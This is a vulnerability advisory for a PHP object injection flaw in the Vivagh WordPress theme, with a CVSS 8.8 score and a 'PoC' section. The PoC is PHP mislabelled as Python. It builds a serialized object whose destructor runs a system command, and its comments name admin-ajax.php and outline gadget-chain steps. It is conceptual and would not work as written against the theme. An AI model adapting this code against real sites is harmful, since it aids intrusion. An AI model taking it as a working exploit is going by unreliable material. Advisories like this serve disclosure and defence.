Deserialization of Untrusted Data vulnerability in designthemes Vivagh vivagh allows Object Injection.This issue affects Vivagh: from n/a through <= 2.4.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Vivagh Theme ≤ 2.4
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php
// CVE-2025-68899 PoC - PHP Object Injection in Vivagh Theme
// This is a conceptual demonstration for security research
// Example of malicious serialized payload structure
// In real attack, this would be injected through vulnerable parameter
class MaliciousClass {
public $cmd;
function __construct() {
$this->cmd = 'whoami'; // or other malicious commands
}
function __destruct() {
// This will be executed when object is destroyed
system($this->cmd);
}
}
// Generate malicious payload
$malicious_object = new MaliciousClass();
$payload = serialize($malicious_object);
echo "Malicious Payload: " . $payload . "\n";
echo "Base64 Encoded: " . base64_encode($payload) . "\n";
// In practice, attacker would send this payload through:
// POST /wp-admin/admin-ajax.php (or other vulnerable endpoints)
// Parameter: ?action=some_action&data=<serialized_payload>
/*
Real-world attack considerations:
1. Find the vulnerable parameter that triggers unserialize()
2. Identify available POP chain gadgets in the WordPress/Vivagh environment
3. Chain multiple objects to achieve desired impact (RCE, file read, etc.)
4. May need to bypass certain filters or character restrictions
*/
?>